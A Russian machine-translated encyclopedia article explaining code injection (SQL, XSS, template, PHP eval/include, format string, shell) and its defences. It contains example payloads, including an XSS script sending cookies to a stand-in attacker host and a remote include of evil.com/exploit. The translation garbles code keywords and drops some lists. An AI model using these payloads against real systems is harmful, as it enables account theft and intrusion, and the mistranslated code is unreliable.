Внедрение кода — это использование компьютерной ошибки , вызванной обработкой недопустимых данных. Внедрение используется злоумышленником для внедрения (или «внедрения») кода в уязвимую компьютерную программу и изменения хода выполнения . Результат успешного внедрения кода может быть катастрофическим, например, из-за распространения компьютерных вирусов или компьютерных червей .
Уязвимости внедрения кода возникают, когда приложение отправляет интерпретатору ненадежные данные . Ошибки внедрения чаще всего встречаются в запросах SQL , LDAP , XPath , NoSQL , командах ОС, анализаторах XML , заголовках SMTP , аргументах программы и т. д. Ошибки внедрения обычно легче обнаружить при изучении исходного кода, чем при тестировании. [1] Сканеры и фаззеры могут помочь найти дефекты внедрения. [2]
Внедрение может привести к потере или повреждению данных , отсутствию ответственности или отказу в доступе . Иногда внедрение может привести к полному захвату хоста.
Определенные типы внедрения кода представляют собой ошибки в интерпретации, придающие особое значение пользовательскому вводу. Подобные ошибки интерпретации существуют и за пределами мира информатики, например, в комедийной программе «Кто первый?» . В рутине не удается отличить имена собственные от обычных слов. Аналогично, при некоторых типах внедрения кода невозможно отличить ввод пользователя от системных команд.
Методы внедрения кода популярны при взломе систем с целью получения информации, повышения привилегий или несанкционированного доступа к системе. Внедрение кода может быть использовано злонамеренно для многих целей, в том числе:
Атаки внедрения кода в Интернете вещей также могут привести к серьезным последствиям, таким как утечка данных и сбой в обслуживании. [3]
В 2008 году 5,66% всех обнаруженных в этом году уязвимостей были классифицированы как внедрение кода, что является самым высоким показателем за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%. [4]
Внедрение кода можно использовать с благими намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без каких-либо злонамеренных намерений. [5] [6] Внедрение кода может, например:
Некоторые пользователи могут ничего не подозревая выполнять внедрение кода, поскольку входные данные, которые они предоставляют программе, не были учтены теми, кто первоначально разработал систему. Например:
Еще одним полезным применением внедрения кода может быть обнаружение самих дефектов внедрения с целью их исправления. Это известно как тест на проникновение «белой шляпы» .
Чтобы предотвратить проблемы с внедрением кода, используйте безопасную обработку ввода и вывода, например:
htmlspecialchars()
функция экранирования специальных символов для безопасного вывода текста в HTML и mysqli::real_escape_string()
для изоляции данных, которые будут включены в запрос SQL, для защиты от SQL-инъекций.HttpOnly
— это флаг для файлов cookie HTTP , который, если он установлен, не позволяет сценарию на стороне клиента взаимодействовать с файлами cookie, тем самым предотвращая определенные атаки XSS. [10]Перечисленные выше решения в основном касаются внедрения кода HTML или сценария через Интернет в серверное приложение. Однако необходимо использовать другие подходы при внедрении пользовательского кода на пользовательскую машину, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изоляции управляемых и неуправляемых внедрений кода:
SQL-инъекция использует синтаксис SQL для внедрения вредоносных команд, которые могут читать или изменять базу данных или скомпрометировать смысл исходного запроса. [13]
Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код страницы сгенерирует SQL- запрос для проверки пароля по списку имен пользователей:
ВЫБЕРИТЕ список пользователей . Имя пользователя ИЗ UserList ГДЕ UserList . Имя пользователя = 'Имя пользователя' И Список пользователей . Пароль = 'Пароль'
Если этот запрос возвращает какие-либо строки, доступ предоставляется. Однако если злоумышленник вводит допустимое имя пользователя и вводит действительный код ( password' OR '1'='1
) в поле «Пароль», то результирующий запрос будет выглядеть следующим образом:
ВЫБЕРИТЕ список пользователей . Имя пользователя ИЗ UserList ГДЕ UserList . Имя пользователя = 'Имя пользователя' И Список пользователей . Пароль = 'пароль' ИЛИ '1' = '1'
В приведенном выше примере предполагается, что «Пароль» — это пустая строка или какая-то безобидная строка. " '1'='1'
" всегда будет истинным, и будет возвращено много строк, тем самым разрешая доступ.
Эту технику можно усовершенствовать, чтобы разрешить выполнение нескольких операторов или даже загрузку и запуск внешних программ.
Предположим, запрос имеет следующий формат:
ВЫБЕРИТЕ Пользователя . ID пользователя ОТ пользователя ГДЕ Пользователь . UserID = ' " + UserID + " ' И Пользователь . Pwd = ' " + Пароль + " '
Если противник имеет следующие входные данные:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
запрос будет проанализирован следующим образом:
ВЫБЕРИТЕ Пользователя . ID пользователя ОТ пользователя ГДЕ Пользователь . Идентификатор пользователя = '' ; УДАЛЕНИЕ ТАБЛИЦЫ Пользователь ; --'И Pwd = ''ИЛИ"='
В результате таблица User
будет удалена из базы данных. Это происходит потому, что этот ;
символ означает конец одной команды и начало новой. --
означает начало комментария.
Внедрение кода — это вредоносное внедрение или внедрение кода в приложение. На некоторых веб-серверах есть сценарий гостевой книги , который принимает небольшие сообщения от пользователей и обычно получает такие сообщения, как:
Очень хороший сайт!
Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение:
Хороший сайт, думаю, возьму. окно < скрипт > . location = " https ://some_attacker/evilcgi/cookie.cgi?steal=" + escape ( document.cookie )</ script >
Если другой пользователь просматривает страницу, введенный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако эта же программная ошибка может быть случайно вызвана скромным пользователем, что приведет к отображению на веб-сайте неправильного HTML-кода.
Внедрение HTML и скриптов — популярная тема, обычно называемая « межсайтовым скриптингом » или «XSS». XSS относится к ошибке внедрения, при которой пользовательский ввод в веб-скрипт или что-то в этом роде помещается в выходной HTML без проверки на наличие HTML-кода или сценария.
Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с влиянием специальных данных. [14]
Механизмы шаблонов часто используются в современных веб-приложениях для отображения динамических данных. Однако доверие к непроверенным пользовательским данным часто может привести к критическим уязвимостям [15] , таким как внедрение шаблонов на стороне сервера. Хотя эта уязвимость аналогична межсайтовому скриптингу , внедрение шаблона может быть использовано для выполнения кода на веб-сервере, а не в браузере посетителя. Он нарушает общий рабочий процесс веб-приложений, которые часто используют пользовательские данные и шаблоны для отображения веб-страницы. Пример ниже демонстрирует эту концепцию. Здесь шаблон {{visitor_name}}
заменяется данными в процессе рендеринга.
Здравствуйте, {{visitor_name}}
Злоумышленник может использовать этот рабочий процесс для внедрения кода в конвейер рендеринга, предоставив вредоносный файл visitor_name
. В зависимости от реализации веб-приложения он мог выбрать способ внедрения, {{7*'7'}}
который рендерер мог бы разрешить Hello 7777777
. Обратите внимание, что реальный веб-сервер оценил вредоносный код и поэтому может быть уязвим для удаленного выполнения кода .
Уязвимость внедрения возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в вызов функции. [16]eval()
eval()
$myvar = 'некоторое значение' ; $x = $_GET [ 'аргумент' ]; eval ( '$myvar = ' . $x . ';' );
Аргумент " eval
" будет обработан как PHP , поэтому можно добавлять дополнительные команды. Например, если для параметра "arg" установлено значение " ", запускается дополнительный код, который выполняет программу на сервере, в данном случае " ".10; system('/bin/echo uh-oh')
/bin/echo
PHP позволяет сериализовать и десериализовать целые объекты . Если в функцию десериализации разрешен ненадежный ввод, можно перезаписать существующие классы в программе и выполнить вредоносные атаки. [17] Подобная атака на Joomla была обнаружена в 2013 году. [18]
Рассмотрим эту программу PHP (которая включает файл, указанный по запросу):
<?php $color = 'синий' ; if ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; требуется ( $color . '.php' );
Пример может быть прочитан как только цветные файлы blue.php
и red.php
могут быть загружены, в то время как злоумышленники могут заставить COLOR=http://evil.com/exploit
PHP загружать внешний файл.
Ошибки формата строки чаще всего возникают, когда программист хочет напечатать строку, содержащую предоставленные пользователем данные. Программист может по ошибке написать printf(buffer)
вместо printf("%s", buffer)
. Первая версия интерпретируется buffer
как строка формата и анализирует все инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как и задумал программист. Рассмотрим следующую короткую программу на языке C, имеющую локальный массив символов password
, содержащий пароль; программа запрашивает у пользователя целое число и строку, а затем выводит предоставленную пользователем строку.
символ user_input [ 100 ]; интервал int_in ; символьный пароль [ 10 ] = "Пароль1" ; printf ( "Введите целое число \n " ); scanf ( "%d" & int_in ) ; printf ( "Пожалуйста, введите строку \n " ); fgets ( user_input , sizeof ( user_input ), stdin ); печать ( user_input ); // Безопасная версия: printf("%s", user_input); printf ( " \n " ); вернуть 0 ;
Если пользовательский ввод заполнен списком спецификаторов формата, например %s%s%s%s%s%s%s%s
, то printf()
начнется чтение из стека . В конце концов, один из %s
спецификаторов формата получит доступ к адресу password
, который находится в стеке, и выведет Password1
на экран.
Внедрение оболочки (или внедрение команд [19] ) названо в честь оболочек Unix , но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого tcsh -скрипта:
#!/bin/tcsh # проверка вывода arg, соответствует ли arg, если ( $1 == 1 ) echo он соответствует
Если приведенное выше сохранено в исполняемом файле ./check
, команда оболочки ./check " 1 ) evil"
попытается выполнить введенную команду оболочки evil
вместо сравнения аргумента с постоянным. Здесь атакуемый код — это код, который пытается проверить параметр, тот самый код, который мог пытаться проверить параметр, чтобы защититься от атаки. [20]
Любая функция, которую можно использовать для составления и запуска команды оболочки, является потенциальным средством для запуска атаки с использованием оболочки. Среди них — system(), StartProcess()
и System.Diagnostics.Process.Start().
Клиент-серверные системы, такие как взаимодействие веб-браузера с веб-серверами , потенциально уязвимы для внедрения оболочки. Рассмотрим следующую короткую программу PHP , которую можно запустить на веб-сервере для запуска внешней программы, вызываемой funnytext
для замены слова, отправленного пользователем, другим словом.
<?php passthru ( "/bin/funnytext" . $_GET [ 'USER_INPUT' ]);
Приведенное passthru
выше представляет собой команду оболочки, которая затем выполняется веб-сервером. Поскольку часть команды, которую он составляет, берется из URL-адреса , предоставленного веб-браузером, это позволяет URL-адресу внедрять вредоносные команды оболочки. В эту программу можно внедрить код несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим): [21]
Некоторые языки предлагают функции для правильного экранирования или кавычек строк, которые используются для создания команд оболочки:
escapeshellarg()
иescapeshellcmd()
shlex.quote()
Однако это по-прежнему возлагает на программистов обязанность знать/изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверять или очищать вводимые пользователем данные.
Более безопасная альтернатива — использовать API, которые выполняют внешние программы напрямую, а не через оболочку, что предотвращает возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и/или являются более громоздкими/многословными по сравнению с кратким синтаксисом оболочки.
Доброжелательное использование внедрения кода происходит, когда пользователь меняет поведение программы в соответствии с системными требованиями.